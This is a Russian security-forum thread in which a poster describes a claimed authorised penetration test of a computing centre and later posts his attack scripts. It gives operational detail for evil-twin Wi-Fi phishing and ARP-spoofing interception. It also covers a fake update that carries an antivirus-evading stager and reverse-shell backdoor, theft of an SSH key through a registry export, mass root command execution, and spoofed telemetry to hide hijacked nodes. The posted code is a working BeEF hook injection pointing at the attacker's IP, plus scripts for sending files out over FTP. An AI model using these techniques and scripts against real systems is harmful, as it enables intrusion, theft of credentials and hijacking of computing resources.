Статья Пентест Вычислительного Центра (HPC), Атака на захват 710 GH/s мощностей

b0d

b0d

Active member
02.11.2019
35
57
Executive Summary

Исполняя обязанности инженера службы поддержки вычислительного центра (ВЦ), мною были выявлены потенциальные угрозы информационной безопасности объекта. Опасения подкреплялись недавней попыткой физического проникновения на территорию центра элементами этнической преступности и угоном автотранспорта.

Для того, чтобы подтвердить или опровергнуть гипотезу о наличии критических уязвимостей, я, будучи экспертом по сетевой безопасности, принял решение провести тестирование на проникновение. Все мероприятия проводились таким образом, чтобы имитировать целенаправленную атаку (APT) злоумышленника на вычислительный центр с целью:
  • Определить, может ли злоумышленник пробить защиту и проникнуть в сеть ВЦ.
  • Определить степень угрозы при нарушении безопасности для:
    • Вычислительных мощностей центра;
    • Внутренней инфраструктуры и доступности информационных систем.
Иными словами, была предпринята попытка атаки на захват мощностей вычислительных центра. Атака проводилась с уровнем доступа - “прохожий”. То есть, таким, который имел бы любой посторонний человек или обычный пользователь Интернета. Исходя из норм этичного хакинга, глубина проникновения была искусственно ограничена до штатного уровня доступа инженера службы поддержки.

Оценка проводилась в соответствии с рекомендациями, изложенными в NIST SP 800-1151, при этом все действия были согласованы с уполномоченным сотрудником и проводились в контролируемых условиях.

Summary of Results

В результате физической разведки на местности были обнаружены две wi-fi сети с “говорящим” названием. Одна на промышленном объекте, а вторая в зоне жилых домов. На сеть в жилой зоне была проведена атака “Злой двойник”, в результате которой атакующий получил пароль сети. Этот пароль, ожидаемо, подошел ко второй сети на промышленном объекте (credential stuffing).

Сегмент сети с wi-fi доступом был поставлен на прослушку, в результате чего атакующий обнаружил систему мониторинга работы вычислительных узлов (monitor), общую систему мониторинга объекта на базе Grafana (grafana2) и журнал технического обслуживания узлов (journal).

Дальнейший мониторинг трафика выявил 4 рабочих станции Windows и несколько смартфонов. Все три системы мониторинга работают без шифрования, на чистом “http”. Такая архитектура позволила прослушать весь трафик, перехватить учетные данные и провести комбинированную атаку на пользователей - внедрение постороннего кода в браузер, замаскированного под обновление системы мониторинга.

В фальшивое обновление был зашит бэкдор с системой обхода антивирусной защиты. Этот бэкдор предоставил атакующему интерактивный доступ к системе пользователя с правами текущего пользователя. Перехват изображения рабочего стола окончательно прояснил все детали. Атакующий загрузил на машину скрипты для создания скриншотов экрана, а потом и вовсе, запустил прямую трансляцию происходящего на экране сотрудника службы поддержки. Сотрудники использовали клиент терминала Putty, для доступа к вычислительным узлам. Аутентификация осуществлялась по приватному ключу. Атакующий выгрузил ветку системного реестра Windows с настройками Putty, узнал путь к файлу ключа и скопировал его.

Войдя в систему мониторинга, он получил список ip адресов 2636 активных узлов и попробовал войти на несколько случайно выбранных хостов с помощью скопированного ключа - авторизация была успешной. Более того, аккаунт support состоял в группе sudoers и имел возможность выполнять команды от имени root - высшая привилегия в системе. Имея в руках ключ от хостов, атакующий написал скрипт, позволяющий выполнять команды на всех хостах одновременно. Таким образом был получен интерактивный доступ к вычислительному кластеру с правами root.

Позднее, была обнаружена еще одна wi-fi сеть “Wirenboard”, которая, как позже оказалась, имеет отношение в ВЦ. Это был промышленный контроллер на базе Linux с web-интерфейсом, wi-fi адаптером и ethernet портом. На Wi-Fi сеть контроллера не был установлен пароль, а реквизиты доступа linux остались заводскими. В результате был получен root доступ к контроллеру и доступ во внутреннюю сеть ВЦ.

Взломанный контроллер стал удобным плацдармом для дальнейшего исследования сети, так как он находился одновременно в периметре служебной сети ВЦ и имел доступ через отдельную wi-fi сеть. На одной из машин был обнаружен клиент для доступа к маршрутизаторам MikroTik - WinBox, с сохраненным паролем от главного маршрутизатора. Закрепляя доступ к инфраструктуре, атакующий установил бэкдор с обратным коннектом к своему серверу на несколько случайных узлов, а также на микроконтроллер, так как время бесперебойной работы у него было заметно выше чем у вычислительных узлов.

Атака на wi-fi

Для частотной разведки на местности могут быть использованы разные комбинации устройств. В данном случае было бы идеально запустить дрона с Raspberry Pi на борту:

1.png


Или проехать на автомобиле с вот такой конфигурацией:

2.png


Дрона под рукой у атакующего не было, впрочем как и машины, поэтому он ограничился пешей прогулкой с Raspberry Pi в рюкзаке:

3.png


Мощности устройств Alfa хватает с запасом чтобы проводить сканирование удаленных точек и подключаться к ним.

4.png


На фото показаны места, наиболее подходящие для проведение атак и подключения к сети. Для атаки на сеть виллы хорошо подходит стоянка напротив, а для подключения к сети ВЦ - дорога, проходящая рядом с промкой.

Атакующий не стал терять время не перебор пароля методом грубой силы и решил применить атаку на пользователя.
Атака состояла из двух этапов:
  1. “Глушение” подлинной точки доступа. Всем подключенным клиентам постоянно рассылались поддельные пакеты деаутентификации, в результате чего они теряли соединение и более не могли подключаться к точке доступа.
  2. Запуск поддельной точки доступа с таким же названием как у оригинальной, но с отключенным шифрованием и автоматическим перенаправлением на страницу запроса пароля от wi-fi.
В результате у пользователя “пропал интернет” и отключился wi-fi, он пробует подключиться к сети заново, но у него ничего не получается, он видит вторую сеть с таким же названием, подключается к ней и при попытке открыть любой сайт у него в браузере появляется форма запроса пароля на wi-fi. Разумеется, он вводит в эту форму пароль, думая, что это заглючил роутер, и пароль попадает атакующем в консоль.

После успешного получения пароля атака прекращается, пользователи снова подключаются к оригинальной точке доступа.
С момента начала атаки до момента получения пароля прошло не более 40 минут.

5.png



Последние три строчки на фото показывают, как пользователь с Android телефона три раза ввел пароль от wi-fi, пробуя менять регистр букв.

Прослушка сети и перехват учетных данных системы мониторинга

После получения доступа к корпоративной сети через wi-fi точку доступа, атакующий провел сканирование сети и прослушивание сегмента. Для этого была проведена атака на отравление ARP-кеша для выбранных узлов. Суть атаки состоит в удаленной подмене ARP-таблицы на хосте, таким образом, чтобы атакуемый хост считал атакующего маршрутизатором. Такой подход называется “Человек посередине” (Man-in-the-middle MiTM).

В результате, весь сетевой трафик жертвы проходит через компьютер атакующего и попадает в мониторинг. Ввиду отсутствия шифрование у протокола http, весь трафик между хостом техподдержки и хостом системы мониторинга свободно просматривается.

6.png


На фото перехваченные учетные данные, а также версия операционной системы атакуемой машины. Версия системы будет нужна на дальнейшем этапе.

Подготовка стэйджера

Stager — это крохотный модуль, единственная задача которого заключается в том, чтобы внедриться в небольшую область памяти, а затем «вытащить» более крупные модули или дать возможность атакующему сделать это вручную.

Проще говоря, стейджер обеспечивает первоначальную стадию атаки. Конкретно в этом случае, атакующий преследовал цель получить интерактивную сессию с удаленной командной строкой Windows, не допустив сработки антивирусного ПО и системы обнаружения вторжений (SIEM). В качестве основы для полезной нагрузки, атакующий выбрал Powershell, а в качестве загрузчика (Loader) систему компиляции скриптов автоматизации AutoIt.

На выходе получился exe-файл, который запускает powershell скрипт, который в свою очередь, соединяется с хостом атакующего и предоставляет ему интерактивную сессию powershell. Каждый элемент стэйджера сам по себе является полезным программным обеспечением и отсутствует в базе антивирусных сигнатур. Открытие Powershell соединения происходит через 443 порт, что обеспечивает обход большинства стандартных правил брандмауэров.

7.png


На фото исходный код AutoIt скрипта, который будет скомпилирован в ехе-файл и отправлен жертве. Из исходника понятно, что при запуске файла будет выполнено 3 действия: произойдет скачивание и запуск скрипта p.ps1 с машины атакующего и откроется окно с текстом “Update successful!”

Подготовка бэкдора

У стейджера высокий шанс пробива антивирусной защиты, однако интерактивная сессия powershell имеет свои недостатки и неудобства. Атакующий решил загрузить более удобный и классический бэкдор - backconnect shell написанный на языке Go, с возможностью выполнения шеллкодов и запуска meterpreter-сессии.

Исходный код бэкдора был модифицирован и подвергнут компрессии чтобы максимально снизить риск срабатывания антивирусных систем. Более того, протокол связи бэкдора с атакующим хостом шифруется ssl сертификатом, такой метод позволяет обойти средства обнаружения вторжений, обеспечивая маскировку под обычный шифрованный трафик.

8.png


9.png


Атака на браузер и получение шелла

Для получение интерактивной сессии коммандной строки необходимо обеспечить доставку и запуск стейджера на целевой машине. Для этого атакующий применил атаку “Человек-по-середине” и внедрил посторонний код во все страницы браузера на целевой машине. Таким образом, на первом этапе, был получен контроль над содержимым просматриваемых веб-страниц.

На втором этапе атакующий применил технику социальной инженерии и выдал пользователю уведомление об обновлении системы мониторинга со ссылкой на файл стейджера, замаскированный под обновление.

10.png


Успешное внедрение в браузер. Видно версию ОС и тип браузера.

11.png


Успешная попытка получения скриншота открытой страницы в браузере.

12.png


Отправка фальшивого уведомления об обновлении.

13.png

Так выглядит уведомление в окне браузера сотрудника технической поддержки.

14.png


Сотрудник скачал и запустил установку обновление. Бутафорское окно о якобы успешной установке обновления.

15.png


Сразу после запуска обновления сотрудником службы поддержки, атакующий получил входящие соединение с интерактивной powershell-сессией

16.png

Информация о правах в системе. Локальный администратор.


Загрузка бэкдора

После получения первоначальной сессии powershell, атакующий решил загрузить более удобный backdoor, позволяющий расширить инструментарий на взломанной машине. Загрузка файлов организована через автоматизированные скрипты встроенного ftp-клиента и ftp-сервера на хосте атакующего. Дальнейшая работа будет проходить в backdoor-сессии, а первоначальная сессия стейджера станет запасной, на случай если рабочая повиснет или разорвется.

17.png


18.png


Загрузка скриптов для скриншота и ftp

19.png


Атакующий залил скрипт для снятия скриншотов, сделал несколько снимков и загрузил их к себе на хост для анализа.

20.png


Скриншоты успешно получены.

21.png


Скриншот со взломанной машины. Сотрудник работает с системой мониторинга.

22.png


На втором скриншоте видна работа в терминальном клиенте Putty.


Прямая трансляция с экрана

Чтобы было удобнее работать, атакующий, используя возможности бэкдора, запускает прямую трансляции с экрана взломанного компьютера. На трансляции экрана становится понятно, что соединение с хостами происходит без пароля, по ключу.

Эта была основная фича, ради которой пентестер хотел иметь meterpreter на борту бекдора. У hershell он есть, однако, запуск meterpreter-сессии начал палиться Defender'ом буквально со второго запуска. Поэтому от такого решения пришлось отказаться в пользу скрипта для скриншотов и загрузки их на ftp. Мониторинг шел дольше и не так удобно, зато абсолютно безопасно для атаки.

Выгрузка реестра и копирование ключа

Атакующий написал скрипт для экспорта настроек Putty, для того, чтобы узнать где лежит ключ. Скрипт загружается и запускается на хосте. Итоговый файл взломщик копирует к себе на сервер.
Код:
regedit /e C:\Users\Support\Downloads\putty.reg HKEY_CURRENT_USER\Software\SimonTatham
23.png


24.png


25.png


Файл ключа скопирован и сконвертирован в формат ssh клиента linux. Атакующий пробует зайти на выборочные хосты - вход успешный.

26.png


Скрипт выполнения команд

Для получения централизованного управления всеми хостами, взломщик написал скрипт, позволяющий запускать команду на всех 2600 хостах.

27.png


Скрипт маскировки угнанной машины

Для того, чтобы служба поддержки и администраторы ВЦ не смогли отследить аномалии в в работе кластера атакующий решил замаскировать угнанные хосты от системы мониторинга. Для этого он запустил прослушку трафика от случайно выбранного хоста до сервера мониторинга и сохранил в файл дамп трафика. Оказалось, что хосты общаются с сервером так же без шифрования по чистому http, используя json формат.

Каждые 5 секунд хост передает на сервер сообщение со своим ID, статусом загрузки GPU, количеством карт, температурой и прочей телеметрией. Пентестер написал скрипт на python и загрузил в него слепок данных, которые работающий хост посылает на сервер. Тактика напоминает трюк из старых фильмов про ограбления банков, где грабители размещают фотку сейфа прямо перед камерой видеонаблюдения, таким образом охранник видит закрытый сейф на мониторе, а на самом деле это статическая картинка.

В нашем случае, атакующий просто добавил правило в файрволл на маскируемом хосте, которое полностью запрещает исходящий трафик в сторону ip сервера мониторинга и параллельно запустил свой скрипт-обманку на соседнем хосте. Теперь на панели мониторинга угнанный хост отображается как рабочий потому, что данные мониторинг получает поддельные. Используя ранее написанный скрипт для выполнения команд на всех хостах, пентестер может выбрать 100 узлов, запустить на них команду блокировки трафика до сервера мониторинга, параллельно он запустит скрипт-обманку, которая шлет на сервер фальшивую статистику для этих 100 хостов. Хосты угнаны, а у саппорта на экране все ОК.

Анатомия вторжения

Для атаки "Злой двойник" был использован wifiphisher. Изначально я планировал использовать Fluxion, однако, он, на равне с несколькими другими инструментами, упорно не хотел запускать dhcp сервер, и клиенты после коннекта к сети не получали ip адрес.
Это вечные приколы с драйверами, вай-фаем и первичной настройкой Kali.

В таком контексте я не вижу особой ценности Kali, как базового дистрибутива для пентеста. В нем содержится куча инструментов, больше половины из которых, вам никогда не пригодится. Поэтому, я считаю хорошим вариантом обучаться и сертифицироваться на Kali, а для проектной работы иметь любой удобный Вам дистрибутив, в котором находятся именно те инструменты, которые правильно настроены и которыми вы успешно пользуетесь.

Для "Злого двойника" я все же хотел бы иметь либо работающий Fluxion, либо любой другой инструмент, который позволит мне легко делать свои лендинги и сверять введенный ключ с перехваченным ранее хендшейком.

Для прослушки сети и инжекта в http-трафик был использован bettercap. По каким-то странным причинам, в моем Kali не заработал ettercap. Причины такие же необъяснимые как и с dhcp в примере выше. В итоге я нашел альтернативу и очень рад тому. Bettercap - это впечатляющий инструмент для сетевых атак. Его архитектура просто прекрасна. Интерфейс командной строки я бы назвал эталоном. Просто установите и посмотрите о чем я говорю. У автора получился очень крутой, кастомизируемый и автоматизируемый инструмент. Быстрый и с открытым кодом на Golang. С помощью bettercap-модулей sniff, arp spoof и http.proxy я организовал доставку javascript-модуля в браузер атакуемого пользователя.

"Man-in-the-browser"-атака была реализована с помощью фреймворка BeeF. По масштабу крутости, BeeF не уступает bettercap. Под него можно писать скрипты и автоматизировать его работу, это реально фреймворк. В моем случае было достаточно его базовых возможносей.

Отдельно хочу заметить странный подход в реализации api BeeF. Мне необходимо было закинуть файл фейкового обновления на веб-сервер, для того чтобы выдать пользователю уведомление с линком на загрузку. Так вот чтобы в BeeF положить бинарник в каталог встроенного веб-сервера, нужно исполнить странную пляску со скриптами и api-ключем и каким-то чудным образом обратиться к api, для того чтобы бинарник лег в каталог. Это какой-то бред. Ниже опишу как сделать проще.

В качестве носителя для своего стейджера я выбрал AutoIt и зашил в него ванлайнер повершелла. AutoIt был выбран только лишь потому, что это быстрый способ сделать фейк. Я рекомендую делать нормальное оконное приложение в Visual Studio. Текст ванлайнера был взят из WinPayloads. У этого публичного фреймворка удивительным образом сохранилась устойчивость к АВ-запалу для бэкдора. WinPayloads генерит кодированный в base64 psh-ванлайнер, этот ванлайнер лезет на вебсервер WinPayloads по ip и подключает (invoke) большой psh-код бекконнект-бекдора. И уже код бекдора лезет на listener Winpayloads предоставляет шелл. Общение бекдора и листенера организовано через json.

В итоге я просто отковырял часть кода, отвечающего за бекконект из WinPayloads, а сам WinPayloads запускал только ради листенера. Не стал тратить время на выпиливания листенера из этого фреймворка.

Для удобной доставки файлов рекомендую две отличные штуки. Модуль питона --- и ftp сервер ---. Одной командой запускается веб сервер и выставляет наружу содержимое каталога, в котором он был запущен. Таким же образом работает и ftp сервер. ссылка на бинарник с фейковым обновлением была именно на такой веб сервер, я не стал заморачиваться с api BeeF.

Powershell-бэкдор меня не устроил своим диким интерфейсом, я привык к обычному и понятному cmd.exe. Более того, в WinPayloads psh-бэкдоре я обнаружил баг, при выводе листинга директории с кириллицей шелл падал. Поэтому я нашел подходящий бекдор на Go - hershell. Этот бекдор не палился Защитником Windows и давал именно такой шел, который мне нравится, вдобавок, имел на борту возможность исполнять любые шеллкоды и запускать meterpreter-сессию.

Загрузку файлов с шелла я делал через curl, а аплоад файлов с шелла через скрипт для встроенного ftp клиента на мой ftp server.

Для снятия скриншотов я модифицировал скрипт с какого-то сайта для powershell-админов microsoft. Добавил генерацию имени файла и сработку сразу после запуска.

Атака проходила в несколько логически этапов, чтобы не запутаться я подготовил каталог и скрипты запуска для каждого этапа.

Каталог со скриптами атаки:

31.jpg


Запуск http сервера с подготовленными бинарниками и скриптами, всем тем, что нужно будет скачать на взломанный хост:

32.jpg


Запуск ftp сервера, сюда будет загружаться лут:

33.jpg


Запуск WinPayloads чтобы из него запустить listener стейджера:

34.jpg


Запуск сервера для бекдора:

35.jpg


Запуск metasploit для подхвата meterpreter сессии от hershell backdoor:

36.jpg


Скрипт запуска metasploit:

37.jpg


Запуск bettercap для инжекта js-hook BeeF во все страницы на браузере атакуемой машины:

38.jpg


Запуск BeeF:

39.jpg


Заключение

Система безопасности ВЦ имеет ряд уязвимостей, которые привели к полной компрометации критического актива компании.
Эксплуатация найденных брешей злоумышленниками гарантированно окажет негативное влияние на работу ВЦ. Текущие политики в отношении повторного использования паролей и архитектуры сети не являются адекватными ситуации и способствуют компрометации инфраструктуры объекта.

Цели теста на проникновение были сформулированы как:

o Выявление возможности проникновения удаленного злоумышленника в сеть ВЦ.
o Оценка рисков нарушения безопасности для:
  • Вычислительных мощностей центра;
  • Внутренней инфраструктуры и доступности информационных систем SixNines.
Цели были достигнуты в полном объеме. Целевая атака на ВЦ может привести к полной компрометации технических активов.
Важно отметить, что крах системы безопасности ВЦ вызван недостаточным контролем доступа как на уровне сети, так и на уровне сервисов. Должны быть предприняты соответствующие усилия для внедрения системы оповещения об атаках, которая могла бы вовремя проинформировать о факте проникновения в сеть посторонних лиц.

Рекомендации

Что нужно сделать прямо сейчас

Опираясь на результат тестирования, руководству рекомендуется в срочном порядке сменить названия wi-fi сетей и пароли к ним, а так же выключить контроллер или сменить на нем заводские пароли. Этих действий на первом этапе будет достаточно, чтобы снизить вероятность компрометации с высокой до средней.

Что нужно сделать в ближайшее время

В среднесрочной перспективе рекомендуется перевести все внутренние сервисы c http на https и внедрить на объекте аутентификацию по сертификату. Оборудование MikroTik поддерживает такой тип аутентификации. В рамках перехода на сертификаты, рекомендуется провести инвентаризацию авторизованных устройств по mac-адресам, и настроить маршрутизатор таким образом, чтобы он уведомлял о появлении неопознанного mac-адреса в сети, а также уведомлял о неуспешных попытках авторизации в wi-fi сети.

Что нужно сделать позже и с выделением дополнительных ресурсов

Глубокий анализ результатов тестирования подталкивает к системному решению вопроса безопасности на хостах. Рекомендуется перевести рабочие компьютеры персонала службы технической поддержки на ОС Linux. Комплекс ежедневных задач свободно позволяет это сделать, а риск выполнения вредоносного программного обеспечения сводиться к минимуму.

Рекомендуется внедрить систему оповещения о вторжении в сеть. Наряду с оповещениям от маршрутизатора достаточно будет установить небольшой скрипт на всех узлах. Задача скрипта висеть на порту и ждать подключения. При попытке подключение отправлять оповещение. Таким образом, на первичном этапе взлома, когда злоумышленник будет проводить сканирование портов и идентификацию сервисов, он непременно подключится на порт-ловушку (honeypot). Для агрегации оповещений по безопасности удобно использовать действующий сервер Grafana.

Регулярно проводить тестирования сетевой безопасности. ВЦ постоянно развивается, запускаются новые сервисы, тестируются серверы и иное оборудование. Все эти работы создают риск появления лазеек, как было в случае с контроллером WirenBoard. Необходимо разработать сиcтемный подход к тестированию и проводить его регулярно, дабы выявлять риски на ранних стадиях.

Уровень риска

Общий риск, выявленный для ВЦ в результате теста на проникновение, является Высоким. Тестирование показало прямой путь к компрометации ресурсов для внешнего атакующего. Вероятность успешной целевой атаки на ВЦ крайне велика.

Приложение 1. Этапы атаки по модели Cyber Kill Chain

28.png


Приложение 2. Детализация атаки по модели ATT&CK MITRE


29.png


Приложение 3. Наличие доступа во внутреннюю сеть через контроллер Wirenboard

30.png


Приложение 4. Описание уязвимостей

"Говорящее" название сети wi-fi

Риск: Низкий
Описание: Название wi-fi сети ясно дает понять кому она принадлежит.
Угроза: Злоумышленник легко определит какая сеть принадлежит объекту, это сильно упрощает подготовку к атаке.
Устранение: Изменить название сети на что-то нейтральное.

Одинаковые пароли на wi-fi сети

Риск: Высокий
Описание
: Обе wi-fi сети имеют одинаковый пароль.
Угроза: Компрометация одной сети автоматически ведет к компрометации второй. Атака проводилась на сеть в жилой зоне, подразумевая, что техническая осведомленность персонала в доме ниже чем на промышленном объекте.
Устранение: Сменить пароли на wi-fi. Для каждой сети должен быть свой пароль.

Аутентификация по паролю на промышленном объекте

Риск: Высокий
Описание
: Сеть на промышленном объекте защищена методом WPA2-PSK.
Угроза: Атака показала, что авторизация по кодовому слову не надежна, атакующий даже не стал подбирать пароль, он заставил пользователей его сообщить.
Устранение: Перейти на аутентификацию пользователей по сертификатам - WPA-Enterprise.

Работа внутренних сервисов на открытом протоколе.

Риск: Высокий
Описание
: Данные между клиентом и сервером передаются в открытом виде.
Угроза: Любой пользователь сети может перехватить данные и получить реквизиты доступа, а также посылать поддельную статистику.
Устранение: Настроить работу web-серверов на протокол HTTPS. Открытый HTTP отключить.

Слабая антивирусная защита

Риск: Средний
Описание
: Единственным средством антивирусной защиты рабочих станций является встроенный в ОС Windows "Защитник".
Угроза: Это антивирусное ПО низкой категории, лучше чем ничего, но недостаточно хорошо. Атака показала его неэффективность.
Устранение: Установить более качественное коммерческое антивирусное ПО.

Не безопасное хранение ключей доступа

Риск: Высокий
Описание
: Ключ храниться в открытом виде. Путь к ключу доступен в системном реестре.
Угроза: Расположение ключа легко узнать и скопировать.
Устранение: Использовать для хранения ключа usb-токены.

Хранение пароля от маршрутизатора в открытом виде

Риск: Высокий
Описание
: Пароль от главного маршрутизатора сохранен в программе WinBox. Файл с настройками этой программы не зашифрован и легко экспортируется специальной утилитой.
Угроза: Доступ к маршрутизатору открывает широкие возможности для злоумышленников. Можно создавать разные вариации черного входа, перенаправлять траффик и проводит атаки на недоступные ранее сегменты сети.
Устранение: Не сохранять пароль в WinBox. Ограничить круг лиц, имеющих доступ к авторизации на маршрутизаторе.

Контроллер с заводскими настройками в периметре сети

Риск: Высокий
Описание
: Ненастроенный контроллер “Wiren Board” имеет встроенную wi-fi сеть для администрирования. По умолчанию она не имеет пароля. Контроллер подключен к внутренней сети через кабель ethernet. Подключившись к его wi-fi сети, клиент получает доступ во внутреннюю сеть.
Угроза: Неконтролируемый доступ во внутреннюю сеть непременно приведет к компрометации внутренних сервисов
Устранение: Отключить wi-fi сеть.

Риск: Высокий
Описание
: Коммутационное оборудование расположено в легкодоступном месте.
Угроза: Неконтролируемый доступ к портам магистральных маршрутизаторов позволит прослушивать весь трафик ВЦ.
Устранение: Опечатать свободные порты. Установить видеокамеру в зоне прямой видимости оборудования. Настроить оповещение на маршрутизаторах при подключении к портам сетевых устройств.

Послесловие для коллег по индустрии

Хочу подчеркнуть моменты в пентесте, которые мне показались важными.

90% времени ушло на возню с обходом АВ. Если бы я был из блека, то этой проблемы у меня вообще бы не было. Так как у подготовленных команд есть свой софт и хороший крипт. Я просто бы прогрузил и не парился. Такое умозаключение подталкивет к мысли, что у профессиональных пентест-команд есть свой софт и свой крипт, и в этом они не отличаются от блека, просто цели разные.

Все публичные генерилки пайлоадов и обходов умирают через месяц-два. Они хороши только тем, что можно смотреть как это все устроено и делать свое комбинированное решение. Количество современных инcтрументов в пентесте просто потрясает, за 10 лет пентест улетел в космос.

Атака на человека всегда результативнее чем атака на машину. Фишинговые методы в топе рейтингов, и вряд ли они уйдут оттуда в ближайшее время. Прочитав книжку Митника, понял что это вечная тема. Только есть некая грань, где хакинг превращается во фрод. Но в итоге все равно все работают на результат.

Пентест занимает кучу времени и должен хорошо оплачиваться, иначе - заниматься им не имеет смысла. В блеке все усилия окупаются лутом. Пришел, вошел, забрал - всё. А в пентесте тебе еще портянку нужно написать и написать её нужно грамотно и по стандартам, потому, что клиент, по факту, платит за портянку. Он вам деньги, а вы ему результат. Результат - это писанина. Вся эта писанина должна выглядеть на тот ценник, который заявлен в договоре, иначе к вам не придут повторно. А если клиент к вам не возвращается, значит ваш продукт - говно.
 
Последнее редактирование:
b0d

b0d

Active member
02.11.2019
35
57
за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.

По тематике статьи есть две темы на форуме, обсуждали моменты по хакингу объекта:
Так же, чуть позже я выложу все скрипты и дополню статью заключением.
 
yky

yky

Active member
31.12.2019
35
5
Много букв, звучит история как подготовленная сказка ИМХО
 
Seledkad

Seledkad

Active member
12.01.2020
27
4
Отличная статься, интересно будет увидеть до конца статью и инструменты.
 
larchik

larchik

Red Team
07.06.2019
166
292
за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.
То, что осталось за кадром, лучше бы было включить в статью. Понимаю, что написать это - труд, но такой подробный гайд был бы очень полезен сообществу.
Спасибо, проделана большая работа, читать интересно. Пиши еще )
 
  • Нравится
Реакции: JoY_MnK
GoodSmile

GoodSmile

Well-known member
16.07.2018
163
117
Очень интересная статья. Молодец)
 
Vertigo

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 182
3 497
Если есть такой аппарат,как дрон,то можно потестить в будущем интересную
 
swagcat228

swagcat228

Well-known member
19.12.2019
135
38
Красавчик!
Респектую от души.

Если що, есть машина под рукой, можем вместе проехаться.

за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.

По тематике статьи есть две темы на форуме, обсуждали моменты по хакингу объекта:

Подскажите вектор атаки по Windows 10

Крипт шеллкода meterpreter

Так же, чуть позже я выложу все скрипты и дополню статью заключением.
Вопрос по поводу систем обнаружения вторжений:
Была ситуация я когда после атаки на Т.Д. пришлось использовать СИ причем ИРЛ что бы попасть в рубку и запечатлить на камеру мобильного телефона наклейку на коробе с кластером, где был его айпишник.

Т.к. dhcp там не было пришлось вводить в ручную. При попытке подключения - тд пропала раз и на всегда, а спустя несколько минут мимо пороехала машина "безопасности" данного учреждения.

Как предугадать наличие и поведение этих систем?


И ещё момент по поводу внедрения js/html - вы бы не могли немного примеров использования beef в связке с тем же беттеркапом показать?

Спасибо
 
b0d

b0d

Active member
02.11.2019
35
57
Коллеги, я обновил и дописал статью. Кто уже читал, начинайте с раздела "Скрипт выполнения команд", выше все как и было, а ниже много нового.

Как предугадать наличие и поведение этих систем?
Очень просто, нужно всегда считать, что эта система есть и она очень жесткая, и тщательным образом готовить каждый шаг.
Конкретно в этом случае, скорее всего ТД работала на белом списке mac адресов, то есть даже для пробного коннекта, нужно было поснифать эфир и записать mac авторизированных клиентов, помониторить время их работы и пробовать заходить под одним из этих mac в тот временной промежуток, когда они оффлайн.
Таким образом не будет запала по маку. Ну и делаем вывод, что если на объекте есть такая система, из-за которой выезжает СБ, то значит и и дальше будет не просто. Возможно стоит IDS и тогда точно стоит юзать только неприметные порты и трафик пускать по ним криптованный либо юзать кастомные протоколы чтобы не тревожить сетевые правила IDS.

И ещё момент по поводу внедрения js/html - вы бы не могли немного примеров использования beef в связке с тем же беттеркапом показать?
Смотри ниже, я сейчас выложу исходники всех скриптов, в том числе и инжект хука бифа. А в статье смотри раздел "Анатомия вторжения", там показано как запускать.
 
b0d

b0d

Active member
02.11.2019
35
57
beef.js
Хук бифа для инжекта в http траффик:

JavaScript:
function onLoad() {
  log( "BeefInject loaded." );
}

function onResponse(req, res) {
  if( res.ContentType.indexOf('text/html') == 0 ){
    var body = res.ReadBody();
    if( body.indexOf('</head>') != -1 ) {
      res.Body = body.replace(
        '</head>',
        '<script type="text/javascript" src="http://192.168.200.185:3000/hook.js"></script></head>'
      );
    }
  }
}
hook-sup1.cap
capplet для bettercap - автоматизирует запуск атаки для ip 192.168.200.170

Код:
set arp.spoof.targets 192.168.200.170
arp.spoof on
sleep 5
set http.proxy.port 3128
set http.proxy.script /root/attack/hook-sup1/beef.js
http.proxy on
set net.sniff.verbose false
net.sniff on
net.recon off
scrup.txt
Скрипт загрузки скриншотов (да и любых файлов) на ftp

Код:
open 192.168.200.185
anonymous
whatever
binary
mput *.jpg
bye
scr.ps1
psh-Скрипт для создания скриншота из командной строки

Код:
Function Take-ScreenShot {
    <#   
.SYNOPSIS   
    Used to take a screenshot of the desktop or the active window. 
.DESCRIPTION   
    Used to take a screenshot of the desktop or the active window and save to an image file if needed.
.PARAMETER screen
    Screenshot of the entire screen
.PARAMETER activewindow
    Screenshot of the active window
.PARAMETER file
    Name of the file to save as. Default is image.bmp
.PARAMETER imagetype
    Type of image being saved. Can use JPEG,BMP,PNG. Default is bitmap(bmp)   
.PARAMETER print
    Sends the screenshot directly to your default printer       
.INPUTS
.OUTPUTS     
.NOTES   
    Name: Take-ScreenShot
    Author: Boe Prox
    DateCreated: 07/25/2010     
.EXAMPLE   
    Take-ScreenShot -activewindow
    Takes a screen shot of the active window         
.EXAMPLE   
    Take-ScreenShot -Screen
    Takes a screenshot of the entire desktop
.EXAMPLE   
    Take-ScreenShot -activewindow -file "C:\image.bmp" -imagetype bmp
    Takes a screenshot of the active window and saves the file named image.bmp with the image being bitmap
.EXAMPLE   
    Take-ScreenShot -screen -file "C:\image.png" -imagetype png     
    Takes a screenshot of the entire desktop and saves the file named image.png with the image being png
.EXAMPLE   
    Take-ScreenShot -Screen -print
    Takes a screenshot of the entire desktop and sends to a printer
.EXAMPLE   
    Take-ScreenShot -ActiveWindow -print
    Takes a screenshot of the active window and sends to a printer     
#>   



#Requires -Version 2
        [cmdletbinding(
                SupportsShouldProcess = $True,
                DefaultParameterSetName = "screen",
                ConfirmImpact = "low"
        )]
Param (
       [Parameter(
            Mandatory = $False,
            ParameterSetName = "screen",
            ValueFromPipeline = $False)]
            [string]
            $screen = "screen",

       [Parameter(
            Mandatory = $False,
            ParameterSetName = "",
            ValueFromPipeline = $False)]
            [string]
            $file = "image.jpg", 
       [Parameter(
            Mandatory = $False,
            ParameterSetName = "",
            ValueFromPipeline = $False)]
            [string]
            [ValidateSet("bmp","jpeg","png")]
            $imagetype = "jpeg"                   
        
)
# C# code
$code = @'
using System;
using System.Runtime.InteropServices;
using System.Drawing;
using System.Drawing.Imaging;
namespace ScreenShotDemo
{
  /// <summary>
  /// Provides functions to capture the entire screen, or a particular window, and save it to a file.
  /// </summary>
  public class ScreenCapture
  {
    /// <summary>
    /// Creates an Image object containing a screen shot the active window
    /// </summary>
    /// <returns></returns>
    public Image CaptureActiveWindow()
    {
      return CaptureWindow( User32.GetForegroundWindow() );
    }
    /// <summary>
    /// Creates an Image object containing a screen shot of the entire desktop
    /// </summary>
    /// <returns></returns>
    public Image CaptureScreen()
    {
      return CaptureWindow( User32.GetDesktopWindow() );
    }     
    /// <summary>
    /// Creates an Image object containing a screen shot of a specific window
    /// </summary>
    /// <param name="handle">The handle to the window. (In windows forms, this is obtained by the Handle property)</param>
    /// <returns></returns>
    private Image CaptureWindow(IntPtr handle)
    {
      // get te hDC of the target window
